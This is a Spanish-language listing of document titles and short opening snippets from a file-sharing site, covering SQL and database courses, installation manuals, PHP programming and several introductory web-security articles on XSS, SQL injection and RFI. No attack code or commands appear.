2.6.2.- Aplicaciones de las vistas. 2.6.1.- Concepto de vista. 2.6.3.- Vistas en SQL. 2.6.3.- Vistas en SQL. 2.6.1.- Concepto de vista. Una vista es una tabla derivada de otras tablas (básicas o virtuales). Una vista se caracteriza porque: Se considera que forma parte del esquema externo. Una vista es una tabla

Más detalles

PROGRAMAS DE ESTUDIO FORMATO 7 INTRODUCCIÓN A SQL. Área de Formación Profesional

PROGRAMAS DE ESTUDIO FORMATO 7 INTRODUCCIÓN A SQL. Área de Formación Profesional PROGRAMAS DE ESTUDIO FORMATO 7 NOMBRE DE LA ASIGNATURA INTRODUCCIÓN A SQL CICLO, AREA O MODULO Área de Formación Profesional CLAVE DE LA ASIGNATURA IT222 OBJETIVOS GENERALES DE LA ASIGNATURA Al final del

Más detalles

Redes y Consultoría al Comercio Exterior. Manual Técnico

Redes y Consultoría al Comercio Exterior. Manual Técnico Redes y Consultoría al Comercio Exterior Manual Técnico Este manual está dirigido a Implementadores y desarrolladores del SIRWebAccess, indica los requisitos, particularidades de desarrollo e implementación

Más detalles

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos.

La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. Introducción a la seguridad Web: La inmensa mayoría de las páginas son vulnerables, a unos u otros fallos. El gran problema no está en que esas páginas sean vulnerables y con ello podamos pasar un rato

Más detalles

Manual de Instalación de la Solución B-EYE-Builder. Pasos para la configuración del sistema

Manual de Instalación de la Solución B-EYE-Builder. Pasos para la configuración del sistema Manual de Instalación de la Solución B-EYE-Builder Pasos para la configuración del sistema Contenido Introducción... 2 Requerimientos del sistema... 2 Instalación y configuración de la solución BI... 2

Más detalles

TUTORIAL OPERADOR CUBE

TUTORIAL OPERADOR CUBE 1 TUTORIAL OPERADOR CUBE Objetivo El objetivo de este tutorial, es la construcción de cubos de datos a través del operador CUBE, que viene incluido en el SQL Server, y forma parte del estándar SQL del

Más detalles

INDICE Programación Introducción Capitulo 21 BASIC Capitulo 22. COBOL Capitulo 23 DELPHI Capitulo 24. FORTRAN Capitulo 25.

INDICE Programación Introducción Capitulo 21 BASIC Capitulo 22. COBOL Capitulo 23 DELPHI Capitulo 24. FORTRAN Capitulo 25. INDICE Programación Introducción 706 Capitulo 21 BASIC 711 Introducción 711 Sintaxis 713 Procedimientos y control de flujo 713 Tipos de datos 714 Disponibilidad y variantes del dialecto 714 Capitulo 22.

Más detalles

Ataques XSS en Aplicaciones Web

Ataques XSS en Aplicaciones Web Ataques XSS en Aplicaciones Web Education Project Antonio Rodríguez Romero Consultor de Seguridad Grupo isoluciones antonio.rodriguez@isoluciones.es Copyright 2007 The Foundation Permission is granted

Más detalles

PROGRAMACIÓN PÁGINAS WEB CON PHP

PROGRAMACIÓN PÁGINAS WEB CON PHP PROGRAMACIÓN PÁGINAS WEB CON PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología

Más detalles

PL/SQL. Con PL/SQL vamos a poder programar las unidades de programa de la base de datos Oracle:

PL/SQL. Con PL/SQL vamos a poder programar las unidades de programa de la base de datos Oracle: PL/SQL (Procedural Language/Structured Query Language) PL/SQL es el lenguaje de programación que proporciona Oracle para extender el SQL estándar con otro tipo de instrucciones y elementos propios de los

Más detalles

Introducción a ataques de tipo inyección: Inyección SQL

Introducción a ataques de tipo inyección: Inyección SQL Introducción a ataques de tipo inyección: Inyección SQL Jorge Peris Cortés - jorpecor@alumni.uv.es Asignatura: Redes Ingeniería Informática - Curso 2011/2012 Universidad de Valencia 1 Índice INTRODUCCIÓN...

Más detalles

Sitios y programas recomendados

Sitios y programas recomendados WEB HACKING 1 Sitios y programas recomendados A continuación encontraremos un listado de sitios web relacionados con las temáticas expuestas en el libro, junto a una serie de programas que brindan herramientas

Más detalles

BASE DE DATOS UNIVERSIDAD DE LOS ANDES FACULTAD DE MEDICINA T.S.U. EN ESTADISTICA DE SALUD CATEDRA DE COMPUTACIÓN II. Comenzar presentación

BASE DE DATOS UNIVERSIDAD DE LOS ANDES FACULTAD DE MEDICINA T.S.U. EN ESTADISTICA DE SALUD CATEDRA DE COMPUTACIÓN II. Comenzar presentación UNIVERSIDAD DE LOS ANDES FACULTAD DE MEDICINA T.S.U. EN ESTADISTICA DE SALUD CATEDRA DE COMPUTACIÓN II BASE DE DATOS Comenzar presentación Base de datos Una base de datos (BD) o banco de datos es un conjunto

Más detalles

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1 Sesión 13. Seguridad en la web Luisa Fernanda Rincón Pérez 2015-1 Qué vimos la clase pasada? 1. Características de MongoDB 2. Colecciones - documentos 3. Consulta, inserción, modificación, eliminación

Más detalles

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS Marco A. Lozano Merino Mayo 2012 Índice 1.Seguridad a nivel de usuario 1.Amenazas y protección 2.La realidad de la seguridad: hackers 3.Seguridad en redes

Más detalles

Inyección de código SQL en MS SQL Server 2005

Inyección de código SQL en MS SQL Server 2005 Fco Javier Puerta aka MCchain (Fixed) Publicado el 21/01/2010 sql pentest hacking vulnerabilidades hacktimes.com Inyección de código SQL en MS SQL Server 2005 En el siguiente artículo se va a explicar

Más detalles

MySQL 5 (versiones 5.1 a 5.6) Guía de referencia del desarrollador

MySQL 5 (versiones 5.1 a 5.6) Guía de referencia del desarrollador Prefacio 1. Objetivos de este libro 13 2. Principales temas tratados en este libro 13 3. A quién va dirigido este libro? 14 4. Requisitos 14 Introducción a MySQL 1. Introducción a las bases de datos relacionales

Más detalles

INTRANET: MANUAL DE INSTALACIÓN

INTRANET: MANUAL DE INSTALACIÓN INTRANET: MANUAL DE INSTALACIÓN 1 de 15 INDICE 1 Requisitos mínimos... 3 2 Instalación... 4 2.1 Instalación de los ficheros de la Intranet... 4 2.2 Registro de las librerías... 4 2.3 Configuración del

Más detalles

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO UNIVERSIDADE DA CORUÑA Departamento de Tecnoloxías da Información e as Comunicacións LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO PRÁCTICA 4: Implementación de un Cliente de Correo

Más detalles

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle Sobre mi Estudios Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Experto en Seguridad de las TIC - US Experiencia Aficiones 3+ años como desarrollador web, casi 2 en Drupal

Más detalles

Un comité de la organización ANSI (American National Standards Institute) aborda la problemática del almacenamiento de datos para su procesamiento en

Un comité de la organización ANSI (American National Standards Institute) aborda la problemática del almacenamiento de datos para su procesamiento en 15/05/2012 1 Un comité de la organización ANSI (American National Standards Institute) aborda la problemática del almacenamiento de datos para su procesamiento en aplicaciones informáticas en 1975. 2 Como

Más detalles

Microsoft Office Project Server 2003

Microsoft Office Project Server 2003 1 de 44 01/12/2007 1:56 Microsoft Office Project Server 2003 Instalación y configuración de Microsoft Office ProjectServer 2003, En este documento explicaremos cómo instalar de forma correcta Project Server

Más detalles

ADMINISTRACIÓN DE BASE DE DATOS

ADMINISTRACIÓN DE BASE DE DATOS SQL SERVER T-SQL QUERY s es ADMINISTRADOR GRÁFICO SGBD Elementos objetos Tablas Procedimientos Triggers Funciones Usuarios Permiso Roles Contraseñas Programas DTS (Data Transfer System) Exportación e Importación

Más detalles

Guía práctica PHP 6. (c) Francisco Charte Ojeda

Guía práctica PHP 6. (c) Francisco Charte Ojeda Guía práctica PHP 6 Agradecimientos Sobre el autor (c) Francisco Charte Ojeda Introducción Páginas de servidor PHP Creación de páginas PHP Cómo usar este libro Convenciones tipográficas 1. Instalación

Más detalles

Configuracion Escritorio Remoto Windows 2003

Configuracion Escritorio Remoto Windows 2003 Configuracion Escritorio Remoto Windows 2003 Instalar y configurar servicio de Terminal Server en Windows 2003 Fecha Lunes, 25 diciembre a las 17:04:14 Tema Windows (Sistema Operativo) Os explicamos cómo

Más detalles

Microsoft SQL Server 2005

Microsoft SQL Server 2005 Microsoft SQL Server 2005 Módulo 1: Diseño y programación Estudia el servidor de bases de datos SQL Server 2005 desde el punto de vista de un diseñador y programador de bases de datos, prestando atención

Más detalles

Explotando un RFI en una WebApp Comercial

Explotando un RFI en una WebApp Comercial Explotando un RFI en una WebApp Comercial A. Alejandro Hernández (nitr0us) nitrousenador@gmail.com Safer Operations Consulting www.saferops.com.mx RTM Security Research Group www.zonartm.org Noviembre

Más detalles

IMPLEMENTANDO UNA BASE DE DATOS INDEPENDIENTE EN SQL SERVER 2014

IMPLEMENTANDO UNA BASE DE DATOS INDEPENDIENTE EN SQL SERVER 2014 IMPLEMENTANDO UNA BASE DE DATOS INDEPENDIENTE EN SQL SERVER 2014 FUNCIONAMIENTO BASE DE DATOS STANDARD O DEPENDIENTE Tareas 1. Iniciando la máquina Virtual 2. Revisando las instancias SQL 3. Revisar la

Más detalles

abacformacio@abacformacio.com

abacformacio@abacformacio.com Programación de páginas web con PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología

Más detalles

Curso Online. Desarrollo Seguro en Java

Curso Online. Desarrollo Seguro en Java Curso Online Desarrollo Seguro en Java Índice: >> Plan de estudios >> Introducción >> A quién va dirigido >> Metodología >> Dinámica >> Contenido Cursos Online Plan de estudios: Itinerario Formativo por

Más detalles

3 Consultas y subconsultas

3 Consultas y subconsultas 3 Consultas y subconsultas En SQL, la sentencia SELECT permite escribir una consulta o requerimiento de acceso a datos almacenados en una base de datos relacional. Dichas consultas SQL van desde una operación

Más detalles

Sub consultas avanzadas

Sub consultas avanzadas Sub consultas avanzadas Objetivo Después de completar este capítulo conocerá lo siguiente: Escribir una consulta de múltiples columnas Describir y explicar el comportamiento de las sub consultas cuando

Más detalles

Curso Online de Microsoft Access Avanzado

Curso Online de Microsoft Access Avanzado Curso Online de Microsoft Access Avanzado Presentación: Este curso online está diseñado para que el alumno domine el funcionamiento del programa de gestión de bases de datos Microsoft Access, estudiando

Más detalles

TEMA 1.- Conceptos Generales y Entorno de Trabajo Objetivo

TEMA 1.- Conceptos Generales y Entorno de Trabajo Objetivo CURSO DE PHP El objetivo final que persigue este curso es dotar al alumno de los conocimientos necesarios para elaborar páginas web de carácter dinámico, utilizando, para ello, el lenguaje de programación

Más detalles